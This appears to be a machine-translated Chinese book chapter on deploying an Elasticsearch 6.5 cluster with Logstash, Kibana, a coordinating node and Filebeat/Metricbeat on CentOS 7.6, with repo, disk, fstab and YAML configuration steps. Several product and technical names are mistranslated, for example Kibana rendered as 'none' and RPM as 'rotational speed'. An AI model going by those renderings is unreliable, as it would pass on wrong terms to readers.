过滤器示例:[https://www . elastic . co/guide/en/Logstash/current/Logstash-config-for-file beat-modules . html](https://www.elastic.co/guide/en/logstash/current/logstash-config-for-filebeat-modules.html) -* **Logstash 配置文件的结构**:[https://www . elastic . co/guide/en/Logstash/current/configuration-file-Structure . html](https://www.elastic.co/guide/en/logstash/current/configuration-file-structure.html) -* **Filebeat 安装流程**:[https://www . elastic . co/guide/en/beats/file beat/current/file beat-installation . html](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-installation.html) -* **Metricbeat 安装概述及详情**:[https://www . elastic . co/guide/en/beats/metric beat/current/metric beat-installation . html](https://www.elastic.co/guide/en/beats/metricbeat/current/metricbeat-installation.html) - -# 部署概述 - -对于这个部署,我们将使用 Elasticsearch 版本(这是编写本文时的最新版本)。这意味着所有后续组件必须是相同的版本。基本操作系统将是 CentOS 7.6。虽然这一具体部署将在本地**虚拟机** ( **虚拟机**)设置上实施,但这些概念仍然可以应用于云。 - -Elasticsearch 将使用 2 个节点部署在 2 个 vCPU 虚拟机上,每个虚拟机具有 4 GB 内存(在[第 11 章](11.html)、*设计 ELK 栈*中,我们确定所需的最小内存约为 2.5 GB)。虚拟机的底层存储是**非易失性快速内存** ( **NVMe** ),因此在其他地方复制设置时需要考虑一些事项。在空间方面,Elasticsearch 节点将各有 64 GB 的磁盘空间;节点将把 64 GB 的磁盘装入`/var/lib/elasticsearch`目录。 - -Logstash 和 Kibana 将使用 2 个 vCPUs 和 4 GB 内存部署在同一个虚拟机上。正如在[第 11 章](11.html)、*设计 ELK 栈*中看到的,Logstash 对队列的持久存储有要求。为此,我们将使用 32 GB 的专用磁盘。该磁盘将被装入`/var/lib/logstash`目录,用于持久排队。 - -我们可以将用于部署的内容总结如下: - -* 基本操作系统是 CentOS 7.6 -* Elasticsearch v6.5 -* log tash v 6.5 -* 没有 v6.5 -* 使用 2 个虚拟机管理程序虚拟机上的 2 个节点进行 Elasticsearch,内存为 4 GB -* 在单个虚拟机上使用 2 个虚拟机管理程序和 4 GB 内存来记录存储和基巴纳 -* Elasticsearch 节点的 64 GB 磁盘 -* 用于 Logstash 持久队列的 32 GB 磁盘 - -下图说明了整个实现,并让您了解事物是如何联系在一起的: - -![](img/a387ec77-f6d5-4e5f-9632-2a9751668a69.png) - -# 安装 Elasticsearch - -从一无所有到功能性 Elasticsearch 设置需要安装软件;这可以通过几种方式在不同的平台上完成。其中一些安装选项如下: - -* 从源安装 -* 为基于 Debian 的 Linux 发行版安装`deb` -* 安装**红帽企业 Linux** ( **RHEL** )、CentOS、**嵌入式系统函数库** ( **SLES** )、OpenSLES 和基于 RPM 的发行版 -* 安装车窗`msi` -* 部署 Docker 映像 - -在这个设置中,我们将使用 RPM 存储库来保持不同版本之间的一致性,并在有更新时进行简化。 - -# 转速存储库 - -要为 RHEL 和 CentOS 安装 RPM 存储库,我们需要在`/etc/yum.repos.d`目录中创建一个文件。在这里,文件名并不重要,但实际上,它需要有意义。文件内容表明`yum`将如何去搜索软件。 - -创建一个名为`/etc/yum.repos.d/elastic.repo`的文件,其代码如下: - -```sh -[elasticsearch-6.x] -name=Elasticsearch repository for 6.x packages -baseurl=https://artifacts.elastic.co/packages/6.x/yum -gpgcheck=1 -gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch -enabled=1 -autorefresh=1 -type=rpm-md -``` - -创建存储库文件后,只需运行以下命令: - -```sh -yum makecache -``` - -这将刷新所有已配置存储库的元数据。在安装 Elasticsearch 之前,我们需要安装 OpenJDK 版本,`1.8.0`;为此,我们可以运行以下命令: - -```sh -yum install java-1.8.0-openjdk -``` - -接下来,确认`java`已安装,如下: - -```sh -java -version -``` - -然后,您应该会看到类似于以下输出的内容: - -```sh -[root@elastic1 ~]# java -version -openjdk version "1.8.0_191" -OpenJDK Runtime Environment (build 1.8.0_191-b12) -OpenJDK 64-Bit Server VM (build 25.191-b12, mixed mode) -``` - -然后我们可以继续安装`elasticsearch`,如下所示: - -```sh -yum install elasticsearch -``` - -Before starting Elasticsearch, some configuration needs to be done. - -# Elasticsearch 数据目录 - -Elasticsearch 的默认配置将数据目录设置为`/var/lib/elasticsearch`路径。这是通过`/etc/elasticsearch/elasticsearch.yml`文件中的`path.data`配置选项控制的: - -```sh -# ---------------------------------Paths------------------------------- -# -# Path to directory where to store the data (separate multiple locations by comma): -# -path.data: /var/lib/elasticsearch -``` - -在此设置中,64 GB 磁盘将装载到此位置。 - -When deploying in Azure, make sure that the `path.data` option is configured to use a data disk rather than the OS disk. - -# 对磁盘进行分区 - -在创建文件系统之前,需要对磁盘进行分区。为此,我们可以使用`parted`实用程序。 - -首先,我们需要将磁盘初始化为`gpt`;为此,我们可以使用以下命令: - -```sh -sudo parted /dev/sdX mklabel gpt -``` - -然后,我们创建分区: - -```sh -sudo parted /dev/sdX mkpart xfs 0GB 64GB -``` - -这里,我们告诉`parted`创建一个从`0GB`到`64GB`的分区,或者从磁盘的开始到结束。此外,我们使用`xfs`签名,因为这是将用于数据目录的文件系统。 - -最后,我们通过运行以下命令来验证分区是否已成功创建并具有正确的边界: - -```sh -sudo parted /dev/sdX print -``` - -输出应该类似于以下代码块: - -```sh -[root@elastic1 ~]# parted /dev/sdb print -Model: ATA VBOX HARDDISK (scsi) -Disk /dev/sdb: 68.7GB -Sector size (logical/physical): 512B/512B -Partition Table: gpt -Disk Flags: -Number Start End Size File system Name Flags -1 1049kB 64.0GB 64.0GB xfs -``` - -# 格式化文件系统 - -为了能够在新创建的分区上存储数据,我们首先需要创建一个文件系统。对于这个设置,我们将使用 XFS 文件系统。 - -要格式化磁盘,运行`mkfs.xfs`命令,如下所示: - -```sh -[root@elastic1]# mkfs.xfs /dev/sdb1 -meta-data=/dev/sdb1 isize=512 agcount=4, agsize=3906176 blks - = sectsz=512 attr=2, projid32bit=1 - = crc=1 finobt=0, sparse=0 -data = bsize=4096 blocks=15624704, imaxpct=25 - = sunit=0 swidth=0 blks -naming =version 2 bsize=4096 ascii-ci=0 ftype=1 -log =internal log bsize=4096 blocks=7629, version=2 - = sectsz=512 sunit=0 blks, lazy-count=1 -realtime =none extsz=4096 blocks=0, rtextents=0 -``` - -默认情况下,XFS 使用与内存页面大小匹配的 4K 块大小;这也非常适合相对较小的文件。 - -Note that the partition of the device file is specified rather than the entire disk. While it is possible to use the disk itself, it is recommended that you create filesystems on partitions. Additionally, if the filesystem is going to be used on a RAID setup, then changing the stripe unit and stripe size generally helps with performance. - -# 使用 fstab 持久安装 - -现在已经创建了文件系统,我们需要确保它在每次重新启动后都装载在正确的位置。 - -一般来说,不建议使用设备文件挂载文件系统,尤其是在云中。这是因为磁盘顺序可能会改变,导致磁盘的设备文件混合在一起。为了解决这个问题,我们可以使用磁盘的 UUID,这是一个唯一的标识符,即使磁盘被移动到另一个系统,它也将持续存在。 - -要获得磁盘的 UUID,运行`blkid`命令: - -```sh -[root@elastic1 ~]# blkid -/dev/sda1: UUID="58c91edb-c361-470e-9805-a31efd85a472" TYPE="xfs" -/dev/sda2: UUID="H3KcJ3-gZOS-URMD-CD1J-8wIn-f7v9-mwkTWn" TYPE="LVM2_member" -/dev/sdb1: UUID="561fc663-0b63-4d2a-821e-12b6caf1115e" TYPE="xfs" PARTLABEL="xfs" PARTUUID="7924e72d-15bd-447d-9104-388dd0ea4eb0" -``` - -在本例中,`/dev/sdb1`是我们将用于 Elasticsearch 的 64 GB 磁盘。使用 UUID,我们可以将其添加到`/etc/fstab`文件中,该文件控制将在引导期间装载的文件系统。只需编辑文件并添加以下条目: - -```sh -UUID=561fc663-0b63-4d2a-821e-12b6caf1115e /var/lib/elasticsearch xfs defaults,nobarrier,noatime,nofail 0 0 -``` - -下面是前面命令中需要注意的一些重要细节: - -* `nobarrier`:这有助于提高写入性能,因为它禁用了 XFS 用于在写入到达持久存储时确认写入的机制。这通常用于没有电池备份写缓存的物理存储系统。 -* `noatime`:这将在文件被访问或修改时禁用记录机制。当`atime`被启用时,每次读取将导致少量写入,因为访问时间需要更新。禁用可以帮助读取,因为它不会生成任何不必要的写入。 -* `nofail`:这允许系统在支持装载点的磁盘丢失的情况下正常启动。如果无法访问控制台,在云上部署尤其有用。 - -接下来,在启动 Elasticsearch 服务之前,验证磁盘是否已装载到正确的位置: - -```sh -[root@elastic1 /]# df -h -Filesystem Size Used Avail Use% Mounted on -/dev/mapper/centos-root 14G 1.6G 12G 12% / -devtmpfs 1.9G 0 1.9G 0% /dev -tmpfs 1.9G 0 1.9G 0% /dev/shm -tmpfs 1.9G 8.5M 1.9G 1% /run -tmpfs 1.9G 0 1.9G 0% /sys/fs/cgroup -/dev/sdb1 60G 33M 60G 1% /var/lib/elasticsearch -/dev/sda1 1014M 184M 831M 19% /boot -tmpfs 379M 0 379M 0% /run/user/0 -``` - -最后,确保配置了`/var/lib/elasticsearch`目录的正确所有权: - -```sh -chown elasticsearch: /var/lib/elasticsearch -``` - -# 配置 Elasticsearch - -在启动 Elasticsearch 服务之前,我们需要定义几个参数来控制 Elasticsearch 的行为。配置文件采用 YAML 格式,位于`/etc/elasticsearch/elasticsearch.yml`上。让我们探索哪些主要参数需要更改。 - -# Elasticsearch YAML - -Elasticsearch 的中央控制是通过`/etc/elasticsearch/elasticsearch.yml`文件完成的,该文件采用 YAML 格式。默认的配置文件有合理的文档记录,并解释了每个参数控制的内容,但是有些条目应该作为配置过程的一部分进行更改。 - -要查找的主要参数如下: - -* 群集名称 -* 发现设置 -* 节点名 -* 网络主机 -* 路径设置 - -# 群集名称 - -Elasticsearch 节点只有在配置中指定了相同的群集名称时,才能加入群集。这是通过`cluster.name`参数来处理的;对于该设置,我们将使用`elastic-cluster`: - -```sh -# --------------------------------Cluster------------------------------ -# -# Use a descriptive name for your cluster: -# -cluster.name: elastic-cluster -# -``` - -应该在两个节点上配置此设置,以便它们具有相同的值。否则,第二个节点将无法加入群集。 - -# 发现设置 - -发现参数控制 Elasticsearch 如何管理用于群集和主选举的节点内通信。 - -关于发现的两个主要参数是`discovery.zen.ping.unicast.hosts`和`discovery.zen.minimum_master_nodes`。 - -`discovery.zen.ping.unicast.hosts`设置控制哪些节点将用于聚类。由于我们的设置将使用两个节点,`node1`的配置应该有`node2`的域名,而`node2`应该有`node1`的域名。 - -`discovery.zen.minimum_master_nodes`设置控制集群中主节点的最小数量;这用于避免在集群中有多个主节点处于活动状态的大脑分裂情况。此参数的数值可以基于一个简单的等式计算,如下所示: - -![](img/6f0843de-eade-4bc1-ae57-eac32164ff77.png) - -这里, *N* 是集群中的节点数。对于该设置,由于只需配置`2`节点,因此设置应为`2`。这两个参数应该如下: - -```sh -# -----------------------------Discovery------------------------------- -# -# Pass an initial list of hosts to perform discovery when new node is started: -# The default list of hosts is ["127.0.0.1", "[::1]"] -# -discovery.zen.ping.unicast.hosts: ["elastic2"] -# -# Prevent the "split brain" by configuring the majority of nodes (total number of master-eligible nodes / 2 + 1): -# -discovery.zen.minimum_master_nodes: 2 -# -# For more information, consult the zen discovery module documentation. -``` - -For `node2`, change `discovery.zen.ping.unicast.hosts: ["elastic2"]` to `discovery.zen.ping.unicast.hosts: ["elastic1"]`. - -# 节点名 - -默认情况下,Elasticsearch 使用随机生成的 UUID 作为其节点名,这不是非常用户友好的。该参数相对简单,因为它控制特定节点的名称。对于这个设置,我们将使用`elasticX`,其中`X`是节点号;`node1`应如下: - -```sh -#------------------------------Node--------------------------------- -# -# Use a descriptive name for the node: -# -node.name: elastic1 -``` - -Change `node2` to match the naming convention, so it is `elastic2`. - -# 网络主机 - -这控制 Elasticsearch 将绑定到哪个 IP 地址并侦听请求。默认情况下,它绑定到环回 IP 地址;需要更改此设置,以允许集群中的其他节点或允许其他服务器上的 Kibana 和 Logstash 发送请求。此设置还接受特殊参数,如网络接口。对于此设置,我们将通过将`network.host`参数设置为`0.0.0.0`来让 Elasticsearch 监听所有地址。 - -在两个节点上,确保设置如下: - -```sh -#-----------------------------Network------------------------------- -# -# Set the bind address to a specific IP (IPv4 or IPv6): -# -network.host: 0.0.0.0 -``` - -# 路径设置 - -最后,路径参数控制 Elasticsearch 存储数据和日志的位置。 - -默认配置为`/var/lib/elasticsearch`下存储数据,`/var/log/elasticsearch`下日志: - -```sh -#-------------------------------Paths--------------------------------- -# -# Path to directory where to store the data (separate multiple locations by comma): -# -path.data: /var/lib/elasticsearch -# -# Path to log files: -# -path.logs: /var/log/elasticsearch -``` - -该参数的一个重要方面是,在`path.data`设置下,可以指定多条路径。Elasticsearch 将使用这里指定的所有路径来存储数据,从而提高整体性能和可用空间。在这个设置中,我们将保留之前步骤中的默认值,即在`/var/lib/elasticsearch`目录下安装一个数据磁盘。 - -# 开始 Elasticsearch - -现在我们已经配置了 Elasticsearch,我们需要确保服务在引导过程中自动正确启动。 - -启动并启用 Elasticsearch 服务,如下所示: - -```sh -systemctl start elasticsearch && systemctl enable elasticsearch -``` - -然后,通过运行以下命令验证 Elasticsearch 是否正确启动: - -```sh -curl -X GET "elastic1:9200" -``` - -输出应该类似于以下代码块: - -```sh -[root@elastic1 /]# curl -X GET "elastic1:9200" -{ - "name" : "elastic1", - "cluster_name" : "elastic-cluster", - "cluster_uuid" : "pIH5Z0yAQoeEGXcDuyEKQA", - "version" : { - "number" : "6.5.3", - "build_flavor" : "default", - "build_type" : "rpm", - "build_hash" : "159a78a", - "build_date" : "2018-12-06T20:11:28.826501Z", - "build_snapshot" : false, - "lucene_version" : "7.5.0", - "minimum_wire_compatibility_version" : "5.6.0", - "minimum_index_compatibility_version" : "5.0.0" - }, - "tagline" : "You Know, for Search" -} -``` - -# 添加 Elasticsearch 节点 - -此时,我们可以向 Elasticsearch 集群添加第二个节点。 - -同样的配置应该应用于前面的步骤,确保设置被更改以反映`node2`的域名。 - -要将节点添加到集群中,我们只需启动 Elasticsearch 服务。 - -当服务启动时,消息被记录到`/var/log/elasticsearch`,这表明该节点已成功添加到集群中: - -```sh -[2018-12-23T01:39:03,834][INFO ][o.e.c.s.ClusterApplierService] [elastic2] detected_master {elastic1}{XVaIWexSQROVVxYuSYIVXA}{fgpqeUmBRVuXzvlf0TM8sA}{192.168.1.150}{192.168.1.150:9300}{ml.machine_memory=3973599232, ml.max_open_jobs=20, xpack.installed=true, ml.enabled=true}, added {{elastic1}{XVaIWexSQROVVxYuSYIVXA}{fgpqeUmBRVuXzvlf0TM8sA}{192.168.1.150}{192.168.1.150:9300}{ml.machine_memory=3973599232, ml.max_open_jobs=20, xpack.installed=true, ml.enabled=true},}, reason: apply cluster state (from master [master {elastic1}{XVaIWexSQROVVxYuSYIVXA}{fgpqeUmBRVuXzvlf0TM8sA}{192.168.1.150}{192.168.1.150:9300}{ml.machine_memory=3973599232, ml.max_open_jobs=20, xpack.installed=true, ml.enabled=true} committed version [1]]) -``` - -您可以使用以下代码来确认集群已启动并正在运行: - -```sh -curl -X GET "elastic1:9200/_cluster/state?human&pretty" -``` - -输出应该类似于以下代码块: - -```sh -{ - "cluster_name" : "elastic-cluster", - "compressed_size" : "10kb", - "compressed_size_in_bytes" : 10271, - "cluster_uuid" : "pIH5Z0yAQoeEGXcDuyEKQA", - "version" : 24, - "state_uuid" : "k6WuQsnKTECeRHFpHDPKVQ", - "master_node" : "XVaIWexSQROVVxYuSYIVXA", - "blocks" : { }, - "nodes" : { - "XVaIWexSQROVVxYuSYIVXA" : { - "name" : "elastic1", - "ephemeral_id" : "fgpqeUmBRVuXzvlf0TM8sA", - "transport_address" : "192.168.1.150:9300", - "attributes" : { - "ml.machine_memory" : "3973599232", - "xpack.installed" : "true", - "ml.max_open_jobs" : "20", - "ml.enabled" : "true" - } - }, - "ncVAbF9kTnOB5K9pUhsvZQ" : { - "name" : "elastic2", - "ephemeral_id" : "GyAq8EkiQGqG9Ph-0RbSkg", - "transport_address" : "192.168.1.151:9300", - "attributes" : { - "ml.machine_memory" : "3973599232", - "ml.max_open_jobs" : "20", - "xpack.installed" : "true", - "ml.enabled" : "true" - } - } - }, - "metadata" : { -...(truncated) -``` - -对于任何需要添加到集群中的后续节点,应遵循前面的步骤,确保`cluster.name`参数设置为正确的值。 - -# 安装 Logstash 和 Kibana - -随着 Elasticsearch 集群的启动和运行,我们现在可以继续安装 Logstash 和 Kibana 了。 - -前面步骤中使用的存储库对于其余组件是相同的。因此,之前用于添加存储库的相同过程应该应用于 Logstash 和 Kibana 节点。 - -这是一个总结,同样的过程之前已经探索过: - -1. 将存储库添加到`/etc/yum.repos.d/elastic.repo` -2. 将`yum`缓存更新为`sudo yum makecache` -3. 使用`sudo yum install logstash kibana`安装 Logstash 和 Kibana -4. 为`/var/lib/logstash`和`sudo parted /dev/sdX mklabel gpt`初始化磁盘 -5. 创建`sudo parted /dev/sdX mkpart xfs 0GB 32GB`分区(注意这是一个 32 GB 的磁盘) -6. 创建`sudo mkfs.xfs /dev/sdX1`文件系统 -7. 更新`fstab` -8. 更新`sudo chown logstash: /var/lib/logstash`目录权限 - -默认情况下不添加 Logstash `systemd`单位;为此,运行 Logstash 提供的脚本: - -```sh -sudo /usr/share/logstash/bin/system-install -``` - -最后,需要一个特定的组件来协调 Elasticsearch 节点。这将作为 Elasticsearch 集群的负载平衡器,基巴纳用它来安装 Elasticsearch: - -```sh -sudo yum install elasticsearch -``` - -有关协调节点配置的更多信息,请参见*配置基巴纳*部分。 - -# 配置 Logstash - -与 Elasticsearch 类似,Logstash 的主配置文件位于`/etc/logstash/logstash.yml`下,需要更改一些设置才能实现所需的功能。 - -# 日志 tash YAML - -首先,应该调整`node.name`参数,使其正确识别 Logstash 节点。默认情况下,它使用机器的主机名作为`node.name`参数。但是,由于我们在同一个系统上运行 Logstash 和 Kibana,因此值得更改此设置以避免混淆。 - -接下来,我们需要考虑排队设置;这些控制着 Logstash 如何管理队列的类型以及它存储队列数据的位置。 - -第一个设置是`queue.type`,它定义了 Logstash 使用的队列类型。对于此设置,我们使用持久队列: - -```sh -# ------------ Queuing Settings -------------- -# -# Internal queuing model, "memory" for legacy in-memory based queuing and -# "persisted" for disk-based acked queueing. Defaults is memory -# -queue.type: persisted -# -``` - -由于排队设置为持久,事件在发送到 Elasticsearch 之前需要存储在临时位置;这由`path.queue`参数控制: - -```sh -# If using queue.type: persisted, the directory path where the data files will be stored. -# Default is path.data/queue -# -# path.queue: -# -``` - -如果缺省情况下保留,Logstash 将使用`path.data/queue`目录来存储队列中的事件。`path.data`目录默认为`/var/lib/logstash`,这是我们配置 32 GB 磁盘的地方;这是所需的配置。如果需要为排队指定另一个位置,应调整此设置以匹配正确的路径。 - -`logstash.yml`文件中最后一个要更改的设置是`queue.max_bytes`设置,它控制队列允许的最大空间。对于此设置,由于我们只为此目的添加了一个专用的 32 GB 磁盘,因此如果需要更多空间,可以将设置更改为 25 GB,以留出缓冲区。设置应该如下所示: - -```sh -# If using queue.type: persisted, the total capacity of the queue in number of bytes. -# If you would like more unacked events to be buffered in Logstash, you can increase the -# capacity using this setting. Please make sure your disk drive has capacity greater than -# the size specified here. If both max_bytes and max_events are specified, Logstash will pick -# whichever criteria is reached first -# Default is 1024mb or 1gb -# -queue.max_bytes: 25gb -``` - -作为一个选项,`xpack.monitoring.enabled`设置可以设置为真,以便通过基巴纳进行监控。 - -Make sure that the parameters in the `yaml` file don't have a space at the beginning of the line or it might fail to load the configuration. - -# Logstash 管道 - -Logstash 输出由管道控制,管道通过放置在`/etc/logstash/conf.d/`下的文件进行配置;这些文件控制 Logstash 如何获取数据、处理数据,然后将其作为输出返回给 Elasticsearch。管道配置类似于以下代码: - -```sh -# The # character at the beginning of a line indicates a comment. Use - # comments to describe your configuration. - input { - } - # The filter part of this file is commented out to indicate that it is - # optional. - # filter { - # - # } - output { - } -``` - -在这里,`input`部分定义了接受哪些数据和来自哪个来源;在这个设置中,我们将使用`beats`作为输入。过滤器部分控制数据在发送到输出端之前的转换方式,输出部分定义数据的发送位置。在这种情况下,我们将向 Elasticsearch 节点发送数据。 - -让我们为`syslog`消息创建一个配置文件,由 Logstash 过滤,然后发送到 Elasticsearch 集群。文件需要放在`/etc/logstash/conf.d`中,因为输入来自`beats`模块;我们称之为`beats-syslog.conf`文件: - -```sh -sudo vim /etc/logstash/conf.d/beats-syslog.conf -``` - -该文件的内容如下: - -```sh -input { - beats { - port => 5044 - } -} -filter { - if [fileset][module] == "system" { - if [fileset][name] == "auth" { - grok { - match => { "message" => ["%{SYSLOGTIMESTAMP:[system][auth][timestamp]} %{SYSLOGHOST:[system][auth][hostname]} sshd(?:\[%{POSINT:[system][auth][pid]}\])?: %{DATA:[system][auth][ssh][event]} %{DATA:[system][auth][ssh][method]} for (invalid user )?%{DATA:[system][auth][user]} from %{IPORHOST:[system][auth][ssh][ip]} port %{NUMBER:[system][auth][ssh][port]} ssh2(: %{GREEDYDATA:[system][auth][ssh][signature]})?", - "%{SYSLOGTIMESTAMP:[system][auth][timestamp]} %{SYSLOGHOST:[system][auth][hostname]} sshd(?:\[%{POSINT:[system][auth][pid]}\])?: %{DATA:[system][auth][ssh][event]} user %{DATA:[system][auth][user]} from %{IPORHOST:[system][auth][ssh][ip]}", - "%{SYSLOGTIMESTAMP:[system][auth][timestamp]} %{SYSLOGHOST:[system][auth][hostname]} sshd(?:\[%{POSINT:[system][auth][pid]}\])?: Did not receive identification string from %{IPORHOST:[system][auth][ssh][dropped_ip]}", - "%{SYSLOGTIMESTAMP:[system][auth][timestamp]} %{SYSLOGHOST:[system][auth][hostname]} sudo(?:\[%{POSINT:[system][auth][pid]}\])?: \s*%{DATA:[system][auth][user]} :( %{DATA:[system][auth][sudo][error]} ;)? TTY=%{DATA:[system][auth][sudo][tty]} ; PWD=%{DATA:[system][auth][sudo][pwd]} ; USER=%{DATA:[system][auth][sudo][user]} ; COMMAND=%{GREEDYDATA:[system][auth][sudo][command]}", - "%{SYSLOGTIMESTAMP:[system][auth][timestamp]} %{SYSLOGHOST:[system][auth][hostname]} groupadd(?:\[%{POSINT:[system][auth][pid]}\])?: new group: name=%{DATA:system.auth.groupadd.name}, GID=%{NUMBER:system.auth.groupadd.gid}", - "%{SYSLOGTIMESTAMP:[system][auth][timestamp]} %{SYSLOGHOST:[system][auth][hostname]} useradd(?:\[%{POSINT:[system][auth][pid]}\])?: new user: name=%{DATA:[system][auth][user][add][name]}, UID=%{NUMBER:[system][auth][user][add][uid]}, GID=%{NUMBER:[system][auth][user][add][gid]}, home=%{DATA:[system][auth][user][add][home]}, shell=%{DATA:[system][auth][user][add][shell]}$", - "%{SYSLOGTIMESTAMP:[system][auth][timestamp]} %{SYSLOGHOST:[system][auth][hostname]} %{DATA:[system][auth][program]}(?:\[%{POSINT:[system][auth][pid]}\])?: %{GREEDYMULTILINE:[system][auth][message]}"] } - pattern_definitions => { - "GREEDYMULTILINE"=> "(.|\n)*" - } - remove_field => "message" - } - date { - match => [ "[system][auth][timestamp]", "MMM d HH:mm:ss", "MMM dd HH:mm:ss" ] - } - geoip { - source => "[system][auth][ssh][ip]" - target => "[system][auth][ssh][geoip]" - } - } - else if [fileset][name] == "syslog" { - grok { - match => { "message" => ["%{SYSLOGTIMESTAMP:[system][syslog][timestamp]} %{SYSLOGHOST:[system][syslog][hostname]} %{DATA:[system][syslog][program]}(?:\[%{POSINT:[system][syslog][pid]}\])?: %{GREEDYMULTILINE:[system][syslog][message]}"] } - pattern_definitions => { "GREEDYMULTILINE" => "(.|\n)*" } - remove_field => "message" - } - date { - match => [ "[system][syslog][timestamp]", "MMM d HH:mm:ss", "MMM dd HH:mm:ss" ] - } - } - } -} -output { - elasticsearch { - hosts => ["elastic1", "elastic2"] - manage_template => false - index => "%{[@metadata][beat]}-%{[@metadata][version]}-%{+YYYY.MM.dd}" - } -} - -``` - -确保`output`部分有 Elasticsearch 节点的域名或 IP: - -```sh -output { - elasticsearch { - hosts => ["elastic1", "elastic2"] - manage_template => false - index => "%{[@metadata][beat]}-%{[@metadata][version]}-%{+YYYY.MM.dd}" - } -} -``` - -在这个管道配置中,`beats`模块将日志发送到 Logstash 节点。然后 Logstash 将处理数据,并在 Elasticsearch 节点之间负载平衡输出。我们现在可以继续配置基巴纳了。 - -# 配置 Kibana - -弹性栈的最后一块是基巴纳;配置由`/etc/kibana/kibana.yml`以类似于 Elasticsearch 和 Logstash 的方式处理。 - -# 基贝拉亚姆 - -默认情况下,基巴纳监听端口`5601`;这是由`server.port`参数控制的,如果需要在不同的端口上访问 Kibana,可以更改该参数。对于此设置,将使用默认值。 - -`server.host`设置控制基巴纳将监听哪些地址的请求。由于需要从外部来源(即`localhost`以外)访问,我们可以使用以下设置: - -```sh -# Specifies the address to which the Kibana server will bind. IP addresses and host names are both valid values. - # The default is 'localhost', which usually means remote machines will not be able to connect. - # To allow connections from remote users, set this parameter to a non-loopback address. - server.host: "0.0.0.0" -``` - -`server.name`参数默认为基巴纳运行的主机名,但是由于 Logstash 与基巴纳一起运行,我们可以更改它来标识基巴纳部分: - -```sh -# The Kibana server's name. This is used for display purposes. -server.name: "kibana" -``` - -最后,`elasticsearch.url`指定 Kibana 将连接到哪个 Elasticsearch 节点。如前所述,我们将使用 Elasticsearch 坐标节点作为其他两个节点之间的负载平衡器。 - -以下是用于所有查询的 Elasticsearch 实例的网址: - -```sh -elasticsearch.url: "http://localhost:9200" -``` - -# 协调节点 - -协调节点是不接受输入、不存储数据、也不参与主或从选举的 Elasticsearch 节点。 - -该节点的目标是在集群中不同的 Elasticsearch 节点之间负载平衡对 Kibana 的请求。安装过程与我们之前使用的过程相同,即确保也安装了 Java(开放 JDK)。 - -配置会有所不同,因为我们想要实现许多目标: - -* 禁用主节点角色 -* 禁用接收节点角色 -* 禁用数据节点角色 -* 禁用跨集群搜索 - -为此,我们需要在`/etc/elasticsearch/elasticsearch.yml`文件上进行以下设置: - -```sh -cluster.name: elastic-cluster -node.name: coordinate -network.host: 0.0.0.0 -node.master: false -node.data: false -node.ingest: false -cluster.remote.connect: false -discovery.zen.ping.unicast.hosts: ["elastic1", "elastic2"] -``` - -# 开始洛格斯塔什和基巴纳 - -所有的组件都已经配置好了,我们可以启动 Logstash、Kibana 和协调的 Elasticsearch 节点。 - -Logstash 可以首先启动,因为它不需要启动任何其他组件: - -```sh -sudo systemctl start logstash && sudo systemctl enable logstash -``` - -然后,我们可以启动并启用`elasticsearch`协调节点: - -```sh -sudo systemctl start elasticsearch && sudo systemctl enable elasticsearch -``` - -最后但同样重要的是,`kibana`可以经历相同的程序: - -```sh -sudo systemctl start kibana && sudo systemctl enable kibana -``` - -要验证一切启动是否正确,请将浏览器指向端口`5601` `http://kibana:5601`上的`kibana`地址。单击监控,然后单击启用监控;几秒钟后,您将看到类似以下截图的内容: - -![](img/2668b7d3-4572-4ca6-89db-46168cb206fd.png) - -您应该可以在线看到所有组件;**黄色**状态是由于系统索引没有被复制,但这是正常的。 - -这样,集群就可以启动并运行,并准备好接受来自日志和指标的传入数据。我们将使用 Beats 向集群提供数据,这将在下一节中探讨。 - -# 什么是节拍? - -Beats 是来自 Elastic.co(elastic search 背后的公司)的轻量级数据托运人。Beats 设计为易于配置和运行。 - -Beats 是等式的客户端部分,生活在要被监控的系统上。Beats 从整个环境中的服务器捕获指标、日志等,并将其发送到 Logstash 进行进一步处理,或者发送到 Elasticsearch 进行索引和分析。 - -有多个官方 Beats(由 Elastic 开发和维护),社区开发了大量开源 Beats。 - -我们将在这个设置中使用的主要节拍是**文件节拍**和**公制节拍**。 - -# 文件节拍 - -Filebeat 函数从源(如 syslog、Apache 和 Nginx)收集日志,然后将这些日志发送到 Elasticsearch 或 Logstash。 - -需要在需要数据收集的每台服务器上安装 Filebeat 客户端才能启用。该组件允许将日志发送到一个集中的位置,以便无缝搜索和索引。 - -# 公制尺寸标注 - -Metricbeat 收集指标,如 CPU 使用情况、内存使用情况、磁盘 IO 统计信息和网络统计信息,然后将其发送到 Elasticsearch 或 Logstash。 - -真的没有必要进一步转换度量数据,所以将数据直接输入 Elasticsearch 更有意义。 - -Metricbeat 应安装在所有需要监控资源使用情况的系统中;将 Metricbeat 安装在 Elasticsearch 节点上可以让您更好地控制资源使用,从而避免出现问题。 - -还存在其他节拍,例如: - -* **数据包**:用于网络流量监控 -* **日志节拍**:对于`systemd`日志 -* **审计节拍**:对于登录等审计数据 - -此外,Beats 还可以通过使用模块来适应特定的需求。例如,Metricbeat 有一个收集 MySQL 性能统计数据的模块。 - -# 让我们不要跳过一个节拍——安装节拍 - -Elasticsearch 提供的 Beats 的安装可以通过以前用于安装 Elasticsearch、Logstash 和 Kibana 的弹性存储库来完成。 - -首先,让我们在其中一个 Elasticsearch 节点上安装 Filebeat: - -```sh -sudo yum install -y filebeat -``` - -安装完成后,通过运行以下代码确认安装已经完成: - -```sh -filebeat version -``` - -输出应该类似于以下命令块: - -```sh -[root@elastic1 ~]# filebeat version -filebeat version 6.5.4 (amd64), libbeat 6.5.4 [bd8922f1c7e93d12b07e0b3f7d349e17107f7826 built 2018-12-17 20:22:29 +0000 UTC] -``` - -安装`metricbeat`的过程和它在同一个库中的过程是一样的: - -```sh -sudo yum install metricbeat -``` - -要在其他客户端上安装 Beats,只需按照我们之前解释的那样添加弹性存储库,并通过`yum`进行安装。Beats 也作为独立包提供,以防没有可用于分发的存储库。 - -# 配置 Beats 客户端 - -在其中一个 Elasticsearch 节点上安装了 Filebeat 和 Metricbeat 后,我们可以继续配置它们,将数据馈送到 Logstash 和 Elasticsearch。 - -# Filebeat YAML - -现在,大多数弹性组件都是通过 YAML 文件配置的,这并不奇怪。Filebeat 也不例外,它的配置由`/etc/filebeat/filebeat.yml`文件处理。 - -首先,我们需要告诉`filebeat`在哪里寻找将要被运送到 Logstash 的日志文件。在`yaml`文件中,这是在`filebeat.inputs`部分;将`enabled: false`改为`enabled: true`,如下: - -```sh -#=========================== Filebeat inputs 